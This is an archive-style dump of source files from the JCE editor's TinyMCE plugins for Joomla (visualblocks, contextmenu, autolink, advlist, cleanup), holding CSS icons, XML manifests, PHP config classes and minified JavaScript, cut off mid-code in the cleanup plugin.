ul:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAeklEQVQoke2MoQ3CUBRFTwiiIQyAYo0u0BlqSfCYmr4RzhpdpalqKnCMwAAgcNRUfNHko8Bw1H039zzURr2xoNbqY8ln9c4Km7XyE34jvoAi6XbAMydugQk4qhVwBU7AkBUjYlRboAP2QA9cks1BfSd3GRFj7vGfrzIDXCwfaKTM9DMAAAAASUVORK5CYII=)}.mceVisualBlocks ol:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAArUlEQVQoke3QLUqEcRSF8d+8uAkRB5HBLVhNLkEmmKZpF281CMdmEwSDZbCLYJgVzAImmfwAl2HwDfqHV5vJJx7uwz2cESTZxwUmeMJJVS2SzHBeVesauiQT3OMKm7jFQ5Lt9vgrazjAqqqu++wyyRGmeB8SO2zgtcmf+++DdHjBVpOP8fZb1TucJTnGHIe9OMfekDji26o7Plc9rarHftWbxtmtquVPbf75cz4AzDsreCDjoqAAAAAASUVORK5CYII=)}.mceVisualBlocks dl:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAlUlEQVQoke3MoW2CARiE4QdCOgGCWsIONXVsUYllgF6CJCSfR3eBqqZjMAKyqUChEIgmRfCTNAQINShec+LuvVZVjfBmzzc+8Zpk03SzJI+OaDe5StLCEM+YHw/PiSDJElO8VFX7tHJCbPjCA7r/FQfYYn21WFV9TPCe5OeS2GmyV1W/2OAD4z+bQ3fgKcni0umdm7MDeXglS37QInMAAAAASUVORK5CYII=)}.mceVisualBlocks dt:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAmUlEQVQoke3MoU6CARiF4ednzCswYGVeBs27MGoweAGcjUj5Oo3NGyAxLofI2PyTiWBgg8AfxDmGzeBbvp3v7D1NVT3hzYktVhgn2VXVOwbOeUky73WhTdLgASPMIMld92/xnKRJMofe16kka0zxWFVn3Xd+Kje4we1vxXt84uNqsaqGmGCRZH9J7Hd3UFUH7LDE6yXpnz/HEf9NKNNwMCoQAAAAAElFTkSuQmCC)}.mceVisualBlocks dd:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAhElEQVQoke3LIQoCYRCG4WdFPIHBLB7D5i2MVg/ggNEy3ewFTOJxjGIwmQwGQYML7sLyZ4NvnGe+KjMX2Pl0wRGriLiXrFcfrxFRYYYptr51Wq/xICJO2GCemUVrYd0ZAwxL1jWc4IFbyVrDzBxjjX1EPEvWr++jzHzhjgOWjU3J/v1Gb4edOFZ7ZsMqAAAAAElFTkSuQmCC)}.mceVisualBlocks address:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAAAOCAYAAACGsPRkAAABtklEQVRIie3UP2sVQRSG8V8uMRiwtDB2CQEFSwstLAQtRKwS/2GhYCvBQiUHBItYeBQFIYQUIlaCBBVREAlqYeUnSGGRIqjcSiyCBJFosXPDct3EpLC7Dyyz+77nzJyZOWyfQmY+wxj2RcRC0S7iYQn5jJeYjIjlLXirWMKViHje5XWYxH08wlH0Yx4Xiv+XHhE/O8mtUux2HMN7nOxaoB0RfTiCQ5jeoretFD3b7dWeOziLwxjGHhwsha+nr9Eq43EsYgbjGoiIT7iJc5nZ2oK3Wjay0jRvjRXsxHlsj4jhiHi9gb5GfxnH8QJv8DgzRyJisWGhJQyUSf/l7crM3+X9K87UYuse7MdT7FW11mxmfiw5jXpELK1tIjMHcKIUcLVsbAx3GwodLSfzbRNeOyKGMvM0HmChFtuOiKGGOaYwlZmjeIVrETHRpGOik9RS9ddKRAxGxCAua2ipzBzBdcxFxK/NehExh7bqJNclM29k5rvM3KG6ue/4sZ5ez+3HKbytafOYzszd5btz9cuqlrtUi93Iq3MLM5l5ryuvwxPV4R3AF9Uf7QNulxqb9B49evTo8f/5A1vryG+CBzKbAAAAAElFTkSuQmCC)}.mceVisualBlocks aside:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAOCAYAAACl66WxAAABaklEQVQ4je3SP4gPYBzH8Zfr13VZLAZsd0nKaDAyGCRFd+RP/sTISvcpZTipL912iUUmJX9KlHTJYFKKzWC4Qcgkw6UbdAy/5+rn1+84o7r38u15Pk+f5/M83+8ajap6iHFsS/Ku7Q3jNnajg1mcwnFcSbKxqs7gVrP5iMeYTDLfpy0xmeSaAXTapSPYgxc4iKmmH8EujGItXrdg/XxpwbbgPmZwulcbdHk/Q63uxRyuY6JHX8B6nMRIktEkT5czS/Iel3GsqoaWO7ccnVYn8AjPcKeqxpLM4QG2YhI3quoVDv/F8wOG2yNgQ1X97NG3J3kzMEybi33N4HwLOI7pJIu6LZuqqs14ggt4+4cwm3V/9Gtbr7hNHd0ZWEiyDqrqLE5guqouYSf24zO+4ftyZlU1hou4l+RHVa0kw29hDuF5z94sZqpqE25iBz5hES9xFQf6fJZaMa/b7nMDtCXuJjn6TylXWWWV/5lfvYF0dvr3l2MAAAAASUVORK5CYII=)}.mceVisualBlocks figure:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAOCAYAAABZ/o57AAABaklEQVRIie3TsWtUURDF4U+JIMFgaxAsRdHOJkVKS0ELiVgJgoWChVpksBEJskchpQhqQAtFgkSwsRQktYiIlZWK7B9gkSpa5C28LPvMprLZH1zenTvDmXOZd/ckuYwV2zmBOdyrqllIcgZLOIo+7lfV4yQ3caWqjjd1C1ipqpkh7U18x62qWuvou1hVD4xgqvn2B4YGJJlr7Y/hDa7iNc7hTpK3o0SH6FfVbJK9uI1HWOvq28XUziXgPL5U1dMmftYsScYSqKrNJPuwMWbPbQyMHkryp3V+cKjuMH42xubxDtO4MUaPtvYvXOjIwamq+vgvo6NG3w5/YB6qah0zSd43uQ3sb9VO43crHox+AU/wdTjXccGRRndiFXeTXMNLWw/tJF7gM44kOY1PuIT1YYGqWk2yhMVm7YqxjFbVtyRn0cOyrdfbG/yzSRbxHAfwAdc7pHp4mGS5iYdH/6qqLu72EhMmTJjwH/kLlqqEZm9+1joAAAAASUVORK5CYII=)}.mceVisualBlocks figcaption:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEYAAAAOCAYAAACSJWqFAAACX0lEQVRIie3VT4hWZRTH8c9ISAQxbYQZRZFhCNHWKSERLSRiRGe0IUg3/UUhJEo80mKwQeaICrmIQBS0crAoC6RJYugPtGjRSnRWwxBp9S5CotUshmxxn1fv3IZ8Bzct3i9cLs9zzj3nx+95DrcnM1/EWYvZhC04GhH9kJlDGMejaOFYRJwusZESG8AsDkXEVLtYZn6GEWyKiJmyV+87j+/wAq6jr6HnNSw09GzDMQyWngcjYrpWd1dEXMrMp3E+ItZaBivKuxURPbVnpp6UmRvwOd7DmmLC4czsy8yN+BgTWIWTOJ6ZK8u3D+IZfIPdjf6tiOhBP9bjzYjoL3stvFT0nG7oGcRlvI+1OI8vM3OgpMzjyHKMaPJAh3m7cS0izpT1ufLIzFdxNSI+asYKz2JOZeoY3mkWj4g/M/Mn1W3shFHM1Ax7NzP34XmVoT9iXWaO4o8Oay6ibUxfZt6u7fc28tbgJmTmVnyFh/CG6rRv/kePXfgCV3AhMwciYq6ekJmPqEb3ww5139FT4xfV7WmV9bjqIA50WHMRbWNa7dmtia0vb2ArRMQPeDgzv63FnliqeBmnIazEW6XfCE6UlPaBLKiMy6XqLMENPNnYW4fva+sP8DaGO6y5iE5H6RMcycz9mFSd7mO4gKkSexmfYicOYbPKzPmI6IXy/V53jfnXgXTIxYaePSpjJvEURMTfmXlUNcK3lttgxb1TiIhZ7FD9HX7HKUxExJla7PUSO4yxiPgLz2G6VuprPJ6Zq5crtKHnZ2zHK/i1vIebI6q6Nb/dT68uXbp06dKly/+WfwA5UNXKPDFA5AAAAABJRU5ErkJggg==)}editor/tiny_mce/plugins/visualblocks/css/index.html000060400000000054150750527150016612 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualblocks/visualblocks.xml000060400000001661150750527150017255 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="visualblocks" core="1" editable="1">
	<name>WF_VISUALBLOCKS_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_VISUALBLOCKS_DESC</description>
	<icon>visualblocks</icon>
	<params group="defaults">
            <param name="state" type="radio" default="0" label="WF_LABEL_STATE" description="WF_STATE_DESC">
	      <option value="1">WF_OPTION_ON</option>
	      <option value="0">WF_OPTION_OFF</option>
	    </param>
        </params>
	<help>
		<topic key="visualblocks.about" title="WF_VISUALBLOCKS_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/visualblocks/classes/config.php000060400000001253150750527150017442 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFVisualblocksPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['visualblocks_default_state'] = $wf->getParam('visualblocks.state', 0, 0, 'boolean');
    }
}
editor/tiny_mce/plugins/visualblocks/classes/index.html000060400000000054150750527150017457 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualblocks/index.html000060400000000054150750527150016022 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualblocks/editor_plugin.js000060400000002220150750527150017224 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var cookie=tinymce.util.Cookie;tinymce.create("tinymce.plugins.VisualBlocks",{init:function(ed,url){function toggleVisualBlocks(){ed.controlManager.setActive("visualblocks",state),cookie.set("wf_visualblocks_state",state),state?ed.dom.addClass(ed.getBody(),"mceVisualBlocks"):ed.dom.removeClass(ed.getBody(),"mceVisualBlocks")}var state=cookie.get("wf_visualblocks_state");tinymce.is(state,"string")&&("null"!==state&&"false"!==state||(state=!1),state=!!state),state=ed.getParam("visualblocks_default_state",state),ed.addCommand("mceVisualBlocks",function(){state=!state,toggleVisualBlocks()}),ed.onSetContent.add(function(){ed.controlManager.setActive("visualblocks",state)}),ed.addButton("visualblocks",{title:"visualblocks.desc",cmd:"mceVisualBlocks"}),ed.onInit.add(function(){ed.settings.compress.css||ed.dom.loadCSS(url+"/css/content.css"),state&&toggleVisualBlocks()})}}),tinymce.PluginManager.add("visualblocks",tinymce.plugins.VisualBlocks)}();editor/tiny_mce/plugins/contextmenu/index.html000060400000000054150750527150015672 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/contextmenu/contextmenu.xml000060400000001201150750527150016763 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<install version="2.0" type="plugin" plugin="contextmenu" core="1" editable="0">
  <name>WF_CONTEXTMENU_TITLE</name>
  <version>2.6.38</version>
  <creationDate>14-03-2019</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
  <copyright>Ryan Demmer</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>WF_CONTEXTMENU_DESC</description>
  <icon></icon>
  <params></params>
  <help></help>
  <languages></languages>
</install>editor/tiny_mce/plugins/contextmenu/editor_plugin.js000060400000005203150750527150017100 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var Event=tinymce.dom.Event,DOM=(tinymce.each,tinymce.DOM);tinymce.create("tinymce.plugins.ContextMenu",{init:function(ed){function hide(ed,e){return realCtrlKey=0,e&&2==e.button?void(realCtrlKey=e.ctrlKey):void(t._menu&&(t._menu.removeAll(),t._menu.destroy(),Event.remove(ed.getDoc(),"click",hideMenu),t._menu=null))}var showMenu,contextmenuNeverUseNative,realCtrlKey,hideMenu,t=this;t.editor=ed,contextmenuNeverUseNative=ed.settings.contextmenu_never_use_native;var isNativeOverrideKeyEvent=function(e){return e.ctrlKey&&!contextmenuNeverUseNative},isMacWebKit=function(){return tinymce.isMac&&tinymce.isWebKit};t.onContextMenu=new tinymce.util.Dispatcher(this),hideMenu=function(e){hide(ed,e)},showMenu=ed.onContextMenu.add(function(ed,e){(0!==realCtrlKey?realCtrlKey:e.ctrlKey)&&!contextmenuNeverUseNative||(Event.cancel(e),isMacWebKit()&&2===e.button&&!isNativeOverrideKeyEvent(e)&&ed.selection.isCollapsed()&&ed.selection.placeCaretAt(e.clientX,e.clientY),"IMG"==e.target.nodeName&&ed.selection.select(e.target),t._getMenu(ed).showMenu(e.clientX||e.pageX,e.clientY||e.pageY),Event.add(ed.getDoc(),"click",hideMenu),ed.nodeChanged())}),ed.onRemove.add(function(){t._menu&&t._menu.removeAll()}),ed.onMouseDown.add(hide),ed.onKeyDown.add(hide),ed.onKeyDown.add(function(ed,e){!e.shiftKey||e.ctrlKey||e.altKey||121!==e.keyCode||(Event.cancel(e),showMenu(ed,e))})},getInfo:function(){return{longname:"Contextmenu",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getMenu:function(ed){var am,p,t=this,m=t._menu,se=ed.selection,col=se.isCollapsed(),el=se.getNode()||ed.getBody();return m&&(m.removeAll(),m.destroy()),p=DOM.getPos(ed.getContentAreaContainer()),m=ed.controlManager.createDropMenu("contextmenu",{offset_x:p.x+ed.getParam("contextmenu_offset_x",0),offset_y:p.y+ed.getParam("contextmenu_offset_y",0),constrain:1,keyboard_focus:!0}),t._menu=m,m.addSeparator(),am=m.addMenu({title:"contextmenu.align"}),am.add({title:"contextmenu.left",icon:"justifyleft",cmd:"JustifyLeft"}),am.add({title:"contextmenu.center",icon:"justifycenter",cmd:"JustifyCenter"}),am.add({title:"contextmenu.right",icon:"justifyright",cmd:"JustifyRight"}),am.add({title:"contextmenu.full",icon:"justifyfull",cmd:"JustifyFull"}),t.onContextMenu.dispatch(t,m,el,col),m}}),tinymce.PluginManager.add("contextmenu",tinymce.plugins.ContextMenu)}();editor/tiny_mce/plugins/autolink/editor_plugin.js000060400000007342150750527150016363 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var AutoLinkPattern=/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.|(?:mailto:)?[A-Z0-9._%+\-]+@)(.+)$/i;tinymce.create("tinymce.plugins.AutolinkPlugin",{init:function(ed,url){var t=this;(ed.getParam("autolink_url",!0)||ed.getParam("autolink_email",!0))&&(ed.settings.autolink_pattern&&(AutoLinkPattern=ed.settings.autolink_pattern),ed.onAutoLink=new tinymce.util.Dispatcher(this),ed.onKeyDown.addToTop(function(ed,e){if(13==e.keyCode)return t.handleEnter(ed)}),tinyMCE.isIE||(ed.onKeyPress.add(function(ed,e){if(41==e.which)return t.handleEclipse(ed)}),ed.onKeyUp.add(function(ed,e){if(32==e.keyCode)return t.handleSpacebar(ed)})))},handleEclipse:function(ed){this.parseCurrentLine(ed,-1,"(",!0)},handleSpacebar:function(ed){this.parseCurrentLine(ed,0,"",!0)},handleEnter:function(ed){this.parseCurrentLine(ed,-1,"",!1)},parseCurrentLine:function(editor,endOffset,delimiter){function scopeIndex(container,index){if(index<0&&(index=0),3==container.nodeType){var len=container.data.length;index>len&&(index=len)}return index}function setStart(container,offset){1!=container.nodeType||container.hasChildNodes()?rng.setStart(container,scopeIndex(container,offset)):rng.setStartBefore(container)}function setEnd(container,offset){1!=container.nodeType||container.hasChildNodes()?rng.setEnd(container,scopeIndex(container,offset)):rng.setEndAfter(container)}var rng,end,start,endContainer,bookmark,text,matches,prev,len,rngText;if("A"!=editor.selection.getNode().tagName){if(rng=editor.selection.getRng(!0).cloneRange(),rng.startOffset<5){if(prev=rng.endContainer.previousSibling,!prev){if(!rng.endContainer.firstChild||!rng.endContainer.firstChild.nextSibling)return;prev=rng.endContainer.firstChild.nextSibling}if(len=prev.length,setStart(prev,len),setEnd(prev,len),rng.endOffset<5)return;end=rng.endOffset,endContainer=prev}else{if(endContainer=rng.endContainer,3!=endContainer.nodeType&&endContainer.firstChild){for(;3!=endContainer.nodeType&&endContainer.firstChild;)endContainer=endContainer.firstChild;3==endContainer.nodeType&&(setStart(endContainer,0),setEnd(endContainer,endContainer.nodeValue.length))}end=1==rng.endOffset?2:rng.endOffset-1-endOffset}start=end;do setStart(endContainer,end>=2?end-2:0),setEnd(endContainer,end>=1?end-1:0),end-=1,rngText=rng.toString();while(" "!=rngText&&""!==rngText&&160!=rngText.charCodeAt(0)&&end-2>=0&&rngText!=delimiter);if(rng.toString()==delimiter||160==rng.toString().charCodeAt(0)?(setStart(endContainer,end),setEnd(endContainer,start),end+=1):0===rng.startOffset?(setStart(endContainer,0),setEnd(endContainer,start)):(setStart(endContainer,end),setEnd(endContainer,start)),text=rng.toString(),"."==text.charAt(text.length-1)&&setEnd(endContainer,start-1),text=rng.toString(),matches=text.match(AutoLinkPattern)){"www."==matches[1]?matches[1]="http://www.":/@$/.test(matches[1])&&!/^mailto:/.test(matches[1])&&(matches[1]="mailto:"+matches[1]),bookmark=editor.selection.getBookmark(),editor.selection.setRng(rng),editor.execCommand("createlink",!1,matches[1]+matches[2]);var node=editor.selection.getNode();editor.settings.default_link_target&&editor.dom.setAttrib(node,"target",editor.settings.default_link_target),editor.onAutoLink.dispatch(editor,{node:node}),editor.selection.moveToBookmark(bookmark),editor.nodeChanged()}}},getInfo:function(){return{longname:"Autolink",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("autolink",tinymce.plugins.AutolinkPlugin)}();editor/tiny_mce/plugins/autolink/index.html000060400000000054150750527150015147 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/advlist/editor_plugin.js000060400000006172150750527150016203 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=tinymce.each;tinymce.create("tinymce.plugins.AdvListPlugin",{init:function(ed,url){function buildFormats(str){var formats=[];return each(str.split(/,/),function(type){var title=type.replace(/-/g,"_");"default"===type&&(title="def"),formats.push({title:"advlist."+title,styles:{listStyleType:"default"===type?"":type}})}),formats}var t=this;t.editor=ed;var numlist=ed.getParam("advlist_number_styles","default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman");numlist&&(t.numlist=buildFormats(numlist));var bullist=ed.getParam("advlist_bullet_styles","default,circle,disc,square");bullist&&(t.bullist=buildFormats(bullist)),tinymce.isIE&&/MSIE [2-7]/.test(navigator.userAgent)&&(t.isIE7=!0)},createControl:function(name,cm){function hasFormat(node,format){var state=!0;return each(format.styles,function(value,name){if(editor.dom.getStyle(node,name)!=value)return state=!1,!1}),state}function applyListFormat(){var list,dom=editor.dom,sel=editor.selection;list=dom.getParent(sel.getNode(),"ol,ul"),list&&list.nodeName!=("bullist"==name?"OL":"UL")&&format&&!hasFormat(list,format)||editor.execCommand("bullist"==name?"InsertUnorderedList":"InsertOrderedList"),format&&(list=dom.getParent(sel.getNode(),"ol,ul"),list&&(dom.setStyles(list,format.styles),list.removeAttribute("data-mce-style"))),editor.focus()}var btn,format,t=this,editor=t.editor;if("numlist"==name||"bullist"==name)return t[name]&&"advlist.def"===t[name][0].title&&(format=t[name][0]),t[name]?(btn=cm.createSplitButton(name,{title:"advanced."+name+"_desc",class:"mce_"+name,onclick:function(){applyListFormat()}}),btn.onRenderMenu.add(function(btn,menu){menu.onHideMenu.add(function(){t.bookmark&&(editor.selection.moveToBookmark(t.bookmark),t.bookmark=0)}),menu.onShowMenu.add(function(){var fmtList,dom=editor.dom,list=dom.getParent(editor.selection.getNode(),"ol,ul");(list||format)&&(fmtList=t[name],each(menu.items,function(item){var state=!0;item.setSelected(0),list&&!item.isDisabled()&&(each(fmtList,function(fmt){if(fmt.id==item.id&&!hasFormat(list,fmt))return state=!1,!1}),state&&item.setSelected(1))}),list||menu.items[format.id].setSelected(1)),editor.focus(),tinymce.isIE&&(t.bookmark=editor.selection.getBookmark(1))}),menu.add({id:editor.dom.uniqueId(),title:"advlist.types",class:"mceMenuItemTitle",titleItem:!0}).setDisabled(1),each(t[name],function(item){t.isIE7&&"lower-greek"==item.styles.listStyleType||(item.id=editor.dom.uniqueId(),menu.add({id:item.id,title:item.title,onclick:function(){format=item,applyListFormat()}}))})}),btn):btn=cm.createButton(name,{title:"advanced."+name+"_desc",class:"mce_"+name,onclick:function(){applyListFormat()}})},getInfo:function(){return{longname:"Advanced lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("advlist",tinymce.plugins.AdvListPlugin)}();editor/tiny_mce/plugins/advlist/classes/index.html000060400000000054150750527150016424 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/advlist/classes/config.php000060400000002641150750527150016411 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFAdvlistPluginConfig
{
    public static function getConfig(&$settings)
    {
        $bullet = self::getBulletList();
        $settings['advlist_bullet_styles'] = $bullet !== false ? implode(',', $bullet) : false;

        $number = self::getNumberList();
        $settings['advlist_number_styles'] = $number !== false ? implode(',', $number) : false;
    }

    private static function getNumberList()
    {
        $wf = WFEditor::getInstance();
        $number = (array) $wf->getParam('lists.number_styles');

        if (empty($number) || (count($number) === 1 && array_shift($number) === 'default')) {
            return false;
        }

        return $number;
    }

    private static function getBulletList()
    {
        $wf = WFEditor::getInstance();
        $bullet = (array) $wf->getParam('lists.bullet_styles');

        if (empty($bullet) || (count($bullet) === 1 && array_shift($bullet) === 'default')) {
            return false;
        }

        return $bullet;
    }
}
editor/tiny_mce/plugins/advlist/index.html000060400000000054150750527150014767 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/cleanup/index.html000060400000000054150750527150014750 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/cleanup/cleanup.xml000060400000001231150750527150015122 0ustar00<?xml version="1.0" ?>
<install version="2.0.0" type="plugin" plugin="cleanup" editable="0" core="1" row="1">
	<name>WF_CLEANUP_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_CLEANUP_DESC</description>
	<icon>cleanup</icon>
	<files></files>
	<params group="standard"></params>
	<languages></languages>
	<help></help>
</install>
 editor/tiny_mce/plugins/cleanup/classes/config.php000060400000007626150750527150016402 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFCleanupPluginConfig
{
    private static $invalid_elements = array('iframe', 'object', 'param', 'embed', 'audio', 'video', 'source', 'script', 'style', 'applet', 'body', 'bgsound', 'base', 'basefont', 'frame', 'frameset', 'head', 'html', 'id', 'ilayer', 'layer', 'link', 'meta', 'name', 'title', 'xml');

    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        // Encoding
        $settings['entity_encoding'] = $wf->getParam('editor.entity_encoding');

        // keep &nbsp;
        $nbsp = (bool) $wf->getParam('editor.keep_nbsp', 1);

        // use named encoding with limited entities set if raw/utf-8 and keep_nbsp === true
        if ($settings['entity_encoding'] === 'raw' && $nbsp) {
            $settings['entity_encoding'] = 'named';
            $settings['entities'] = '160,nbsp,173,shy';
        }

        // set "plugin mode"
        $settings['cleanup_pluginmode'] = $wf->getParam('editor.cleanup_pluginmode', 0, 0);

        // get verify html (default is true)
        $settings['verify_html'] = $wf->getParam('editor.verify_html', 1, 1, 'boolean', false);

        $settings['pad_empty_tags'] = $wf->getParam('editor.pad_empty_tags', 1, 1, 'boolean');

        // set schema
        $settings['schema'] = $wf->getParam('editor.schema', 'mixed');

        if ($settings['schema'] === 'html5') {
            $settings['schema'] = 'html5-strict';
        }

        // Get Extended elements
        $settings['extended_valid_elements'] = $wf->getParam('editor.extended_elements', '', '');
        // Configuration list of invalid elements as array
        $settings['invalid_elements'] = explode(',', preg_replace('#\s+#', '', $wf->getParam('editor.invalid_elements', '', '')));

        // Add elements to invalid list (removed by plugin)
        $settings['invalid_elements'] = array_unique(array_merge($settings['invalid_elements'], self::$invalid_elements));

        // process extended_valid_elements
        if ($settings['extended_valid_elements']) {
            $extended_elements = explode(',', $settings['extended_valid_elements']);

            $elements = array();

            // add wildcard attributes if none specified
            for ($i = 0; $i < count($extended_elements); ++$i) {
                $pos = strpos($extended_elements[$i], '[');

                if ($pos === false) {
                    $elements[] = $extended_elements[$i];
                    $extended_elements[$i] .= '[*]';
                } else {
                    $elements[] = substr($extended_elements[$i], 0, $pos);
                }
            }

            // restore settings to array
            $settings['extended_valid_elements'] = implode(',', $extended_elements);

            if (!empty($elements)) {
                $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $elements);
            }
        }

        // clean invalid_elements
        $settings['invalid_elements'] = array_filter($settings['invalid_elements'], function ($value) {
            return $value !== '';
        });

        // remove it if it is the same as the default
        if ($settings['invalid_elements'] === self::$invalid_elements) {
            $settings['invalid_elements'] = array();
        }

        $settings['invalid_attributes'] = $wf->getParam('editor.invalid_attributes', 'dynsrc,lowsrc', 'dynsrc,lowsrc', 'string', true);
        $settings['invalid_attribute_values'] = $wf->getParam('editor.invalid_attribute_values', '', '', 'string', true);
    }
}
editor/tiny_mce/plugins/cleanup/classes/index.html000060400000000054150750527150016405 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/cleanup/editor_plugin.js000060400000021650150750527150016162 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function split(str,delim){return str.split(delim||",")}var each=tinymce.each,Node=tinymce.html.Node,tags=["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"],fontIconRe=/<([a-z0-9]+)([^>]+)class="([^"]*)(glyph|uk-)?(fa|icon)-([\w-]+)([^"]*)"([^>]*)><\/\1>/gi,paddedRx=/<(p|h1|h2|h3|h4|h5|h6|pre|div|address|caption)\b([^>]+)>(&nbsp;|\u00a0)<\/\1>/gi;tinymce.create("tinymce.plugins.CleanupPlugin",{init:function(ed,url){var self=this;this.editor=ed,ed.settings.verify_html===!1&&(ed.settings.validate=!1),ed.onPreInit.add(function(){function attrFilter(value,expr,check){return 